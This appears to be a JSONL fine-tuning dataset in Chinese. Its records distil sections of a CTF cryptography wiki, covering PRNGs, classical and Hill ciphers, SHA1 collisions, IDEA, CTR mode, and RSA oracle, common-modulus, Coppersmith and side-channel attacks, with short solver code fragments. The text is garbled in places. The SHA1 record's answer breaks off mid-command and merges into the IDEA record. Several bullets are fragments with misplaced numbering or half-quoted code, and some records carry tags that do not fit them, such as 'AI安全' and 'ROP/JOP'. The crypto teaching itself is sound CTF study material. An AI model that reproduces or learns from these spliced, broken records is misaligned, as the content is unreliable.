"split_group_key": "e18567d4eab64749e5b2b522", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9c6ad8f3ddd25a8e75e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/intro.md` 中的章节「随机性的严格性」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/intro.md`\n标题：伪随机数生成器介绍\n章节：伪随机数生成器介绍 > 随机性的严格性\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“随机性的严格性”展开。\n- 一般来说，随机数可以分为三类 | 类别 | 随机性 | 不可预测性 | 不可重现性 | | :--------: | :----: | :--------: | :--------: | | 弱伪随机数 | ✅ | ❌ | ❌ | | 强伪随机数 | ✅ | ✅ | ❌ | | 真随机数 | ✅ | ✅ | ✅ | 一般来说，密码学中使用的随机数是第二种。\n- 随机性：随机数应该不存在统计学偏差，是完全杂乱的数列。\n- 不可预测性：不能从过去的序列推测出下一个出现的数。\n- 不可重现性：除非数列保存下来，否则不能重现相同的数列。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- prng\n- intro.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "随机性的严格性", "heading_path": ["伪随机数生成器介绍", "随机性的严格性"], "original_id": "docs-0f7023423112fdd6908f", "original_line": 434, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "source_root": "docs", "source_sha256": "cf124d7991d281dbf03e0a8fa564025cfe481cee3764816066f932a89c584180", "split": "train", "split_group_key": "1af0c3bd4a7d1aed94a24af5", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "crypto", "streamcipher", "prng", "intro.md"], "title": "伪随机数生成器介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9d33b74ff3585dfbf058", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/others.md` 中的章节「手机键盘密码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/others.md`\n标题：其它类型加密\n章节：其它类型加密 > 键盘密码 > 手机键盘密码\n路径分类：crypto / crypto/classical/others.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“手机键盘密码”展开。\n- 手机键盘加密方式，是每个数字键上有 3-4 个字母，用两位数字来表示字母，例如：ru 用手机键盘表示就是：7382，那么这里就可以知道了，手机键盘加密方式不可能用 1 开头，第二位数字不可能超过 4，解密的时候参考此 [图片: picture;\n- 文件: ./figure/mobile.jpg] 关于手机键盘加密还有另一种方式，就是「音的」式（这一点可能根据手机的不同会有所不同），具体参照手机键盘来打，例如：「数字」表示出来就是：748 94。\n- 在手机键盘上面按下这几个数，就会出：「数字」的拼音。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- others.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 251, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "手机键盘密码", "heading_path": ["其它类型加密", "键盘密码", "手机键盘密码"], "original_id": "docs-d3f396cb7875189a6f71", "original_line": 374, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "source_root": "docs", "source_sha256": "fec39924776c8c5b10bcab7894ea71cb2fc1da23f7e37fe39babf9d7dda47d46", "split": "train", "split_group_key": "12fb4d841c12f701355cf4a5", "subcategory": "crypto/classical/others.md", "terms": ["密码学", "crypto", "classical", "others.md"], "title": "其它类型加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9d7f89701563325ac234", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Hill > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 希尔密码（Hill）使用每个字母在字母表中的顺序作为其对应的数字，即A=0，B=1，C=2 等，然后将明文转化为 n 维向量，跟一个 n × n 的矩阵相乘，再将得出的结果模 26。\n- 注意用作加密的矩阵（即密匙）在 $\\mathbb{Z}_{26}^{n}$ 必须是可逆的，否则就不可能解码。\n- 下面举一个例子 `` 明文：ACT ` 将明文化为矩阵。\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `明文：ACT`\n- plain: 1 行，首行 `密文：POH`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 593, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["多表代换加密", "Hill", "原理"], "original_id": "docs-c3f3b2652b6f36ed4483", "original_line": 382, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9e6cbf4c9f04486bbe69", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/sha1.md` 中的章节「2017 SECCON SHA1 is dead」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/sha1.md`\n标题：SHA1\n章节：SHA1 > 2017 SECCON SHA1 is dead\n路径分类：crypto / crypto/hash/sha1.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2017 SECCON SHA1 is dead”展开。\n- 2017KiB < sizeof(file2) < 2018KiB 其中 1KiB = 1024 bytes 即我们需要找到两个文件满足上述的约束。\n- SHA1(file1) == SHA1(file2) 3.\n- SHA256(file1) <> SHA256(file2) 4.\n- 2017KiB < sizeof(file1) < 2018KiB 5.\n\n关键术语：\n- 密码学\n- crypto\n- hash\n- sha1.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 10 行，首行 `➜ 2017_seccon_sha1_is_dead git:(master) dd bs=1 count=320  基本流程 > 解密流程\n路径分类：crypto / crypto/blockcipher/idea.md\n分块：1/1\n\n核心知识点：\n- 解密流程与加密流程相似，主要在于其密钥的选取 - 第 i(1-9) 轮的解密的密钥的前 4 个子密钥由加密过程中第10-i 轮的前 4 个子密钥得出 - 其中第 1 个和第 4 个解密子密钥为相应的子密钥关于 $2^{16}+1$ 的乘法逆元。\n- 第 2 个和第 3 个子密钥的取法为 - 当轮数为2，...，8时，取相应的第3个和第2个的子密钥的$2^{16}$ 的加密逆元。\n- 当轮数为 1 或 9 时，取相应的第 2 个和第 3 个子密钥对应的$2^{16}$ 的加密逆元。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- idea.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 265, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "解密流程", "heading_path": ["IDEA", "基本流程", "解密流程"], "original_id": "docs-4a05666b51e203b04f4d", "original_line": 15, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "source_root": "docs", "source_sha256": "62681a35c372b0057f9949878333cbe09735d4c59f664765ff2ac2782946aa5a", "split": "train", "split_group_key": "b35b9e9e59350c6ae465eec2", "subcategory": "crypto/blockcipher/idea.md", "terms": ["密码学", "crypto", "blockcipher", "idea.md"], "title": "IDEA"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/idea.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a05208d7a8fa42f996ae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「2018 HITCON lost key」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > RSA Byte Oracle > 2018 HITCON lost key\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 HITCON lost key”展开。\n- 这是一个综合题目，首先没有给出 n，我们可以使用选择明文攻击的方式获取 n，当然我们也可以进一步获取 e，最后利用代码如下 ``python from pwn import from fractions import Fraction p = process('./rsa.py') #p = remote('18.179.251.168', 21700) #context.log_level = 'debug' p.recvuntil('Here is the flag!\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n- code:python\n\n代码/命令片段线索：\n- python: 49 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1399, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2018 HITCON lost key", "heading_path": ["RSA 选择明密文攻击", "RSA Byte Oracle", "2018 HITCON lost key"], "original_id": "docs-181d902283085d12a5d1", "original_line": 234, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "34371d54b314cf6689688c3a", "subcategory": "crypto/asymmetric/rsa", "terms": ["ROP/JOP", "密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md", "code:python"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a3f6abb679a8d7d8e430", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文”展开。\n- enc_Counter1 = bytes(a[i] ^ b[i] for i in range(14)) for i in range(0xff): for j in range(0xff): # ECB mode 要求数据长度与块长对齐, 而加密后的数据的最后 2 bytes 我们并不清楚, 所以我们需要尝试所有的可能 enc_Counter2 = enc_Counter1 + bytes([i]) + bytes([j]) aes = AES.new(key,AES.MODE_ECB) Counter =...\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- ctr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 700, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文", "heading_path": ["解密最后步骤 enc_{key}(counter) xor 密文 = 明文 | enc_{key}(counter) = 密文 xor 明文"], "original_id": "docs-95ac364b18651fbc1282", "original_line": 336, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "fa2f1af166ea5a7575916e60", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "ctr.md"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a43196ebc02577a519d2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md`\n标题：RSA 选择明密文攻击\n章节：RSA 选择明密文攻击 > RSA parity oracle variant > 原理\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 如果oracle的参数会在一定时间、运行周期后改变，或者网络不稳定导致会话断开、重置，二分法就不再适用了，为了减少错误，应当考虑逐位恢复。\n- 所以对剩下的位，有 $$ \\begin{aligned} &\\{(c(2^{-ie_i}\\mod N_i))^{d_i}\\mod N_i\\}\\pmod2\\equiv m2^{-i}\\\\ &a_i\\equiv (m2^{-i}\\mod2) -\\sum_{j=0}^{i-1}a_j2^j\\pmod2,i=1,2,...,logm-1 \\end{aligned} $$ 其中$2^{-i}$是$2^i$模$N_i$的逆元。\n- 注意这里的$2^{-1}$是$2^1$模$N_1$的逆元。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-chosen-plain-cipher.md\n- code:python\n\n代码/命令片段线索：\n- python: 27 行，首行 `from Crypto.Util.number import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1998, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["RSA 选择明密文攻击", "RSA parity oracle variant", "原理"], "original_id": "docs-7ff3f25da18fe2fbc344", "original_line": 235, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "source_root": "docs", "source_sha256": "533e2ebc164c0999a6dcbeff80e06752048928d69e096798072b5d973d6484d7", "split": "train", "split_group_key": "aa524947738ad1e9686af9d5", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-chosen-plain-cipher.md", "code:python"], "title": "RSA 选择明密文攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_chosen_plain_cipher.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a765cb3be339970a5e58", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_side_channel.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_side_channel.md`\n标题：RSA 侧信道攻击\n章节：RSA 侧信道攻击 > 例子\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 这里我们以 HITB 2017 的 Hack in the card I 作为例子。\n- 题目给出了公钥文件 publickey.pem，密文，测量智能卡功率的电路图，和解密过程中智能卡消耗的功率变化（通过在线网站给出 trace）。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-side-channel.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `014b05e1a09668c83e13fda8be28d148568a2342aed833e0ad646bd45461da2decf9d538c2d3ab245b272873beb112586bb7b17dc4b30f0c5408d...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 746, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "例子", "heading_path": ["RSA 侧信道攻击", "例子"], "original_id": "docs-d31d0eef57990472ec70", "original_line": 275, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "source_root": "docs", "source_sha256": "35a40b48f8bf1c21bd84fbae23814f03d326cbabdbe626313d35eb6fd7d63e12", "split": "train", "split_group_key": "da3ed0e7e06f022f930c957b", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-side-channel.md"], "title": "RSA 侧信道攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_side_channel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a7ec085780ec908d875c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「XMan 一期夏令营课堂练习」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > 共模攻击 > XMan 一期夏令营课堂练习\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“XMan 一期夏令营课堂练习”展开。\n- ``` {6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249,773}\n- {6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249,839}\n- message1=3453520592723443935451151545245025864232388871721682326408915024349804062041976702364728660682912396903968193981131553111537349\n- message2=5672818026816293344070119332536629619457163570036305296869053532293105379690793386019065754465292867769521736414170803238309535 ```\n- ```python n = 6266565720726907265997241358331585417095726146341989755538017122981360742813498401533594757088796536341941659691259323065631249 e1 = 773\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n\n代码/命令片段线索：\n- plain: 4 行，首行 `{62665657207269072659972413583315854170957261463419897555380171229813607428134984015335947570887965363419416596912593...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1063, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "XMan 一期夏令营课堂练习", "heading_path": ["模数相关攻击", "共模攻击", "XMan 一期夏令营课堂练习"], "original_id": "docs-583e550972d918ece7a6", "original_line": 272, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "b6b1b53c7cd4de96d21ffb94", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-a9b0c117fdd9328cea0a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「SCTF RSA3 LEVEL4」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Basic Broadcast Attack > SCTF RSA3 LEVEL4\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SCTF RSA3 LEVEL4”展开。\n- 这里我们以 SCTF RSA3 中的 level4 为例进行介绍，首先编写代码提取 cap 包中的数据，如下 ``shell #!\n- `shell H1sTaDs_B40aDcadt_attaCk_e_are_same_and_smA9l ``\n- 参考 http://ohroot.com/2016/07/11/rsa-in-ctf。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:shell\n- code:python\n\n代码/命令片段线索：\n- shell: 26 行，首行 `#!/usr/bin/env python`\n- python: 22 行，首行 `from functools import reduce`\n- shell: 1 行，首行 `H1sTaDs_B40aDcadt_attaCk_e_are_same_and_smA9l`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1572, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "SCTF RSA3 LEVEL4", "heading_path": ["Coppersmith 相关攻击", "Basic Broadcast Attack", "SCTF RSA3 LEVEL4"], "original_id": "docs-ecabfa7ba55b6efedd60", "original_line": 247, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "05af07e8e047e3334f50c2b0", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:shell", "code:python"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-ab038d34250edc56b8df", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「2018 CodeGate CTF Rsababy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > 2018 CodeGate CTF Rsababy\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 CodeGate CTF Rsababy”展开。\n- 程序就是一个简单的 RSA，不过程序还生成了两个奇怪的数 ``python e = 65537 n = p q pi_n = (p-1)(q-1) d = mulinv(e, pi_n) h = (d+p)^(d-p) g = d(p-0xdeadbeef) ` 所以，问题应该出自这里，所以我们就从此下手，不放这里先假设 const = 0xdeadbeef。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:python\n\n代码/命令片段线索：\n- python: 6 行，首行 `e = 65537`\n- python: 7 行，首行 `tmp = gmpy2.powmod(2,e*g+const-1,n)-1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 747, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "2018 CodeGate CTF Rsababy", "heading_path": ["RSA 介绍", "2018 CodeGate CTF Rsababy"], "original_id": "docs-d82612cfb3b745118166", "original_line": 284, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "e8463f98b1e109da860165d3", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:python"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
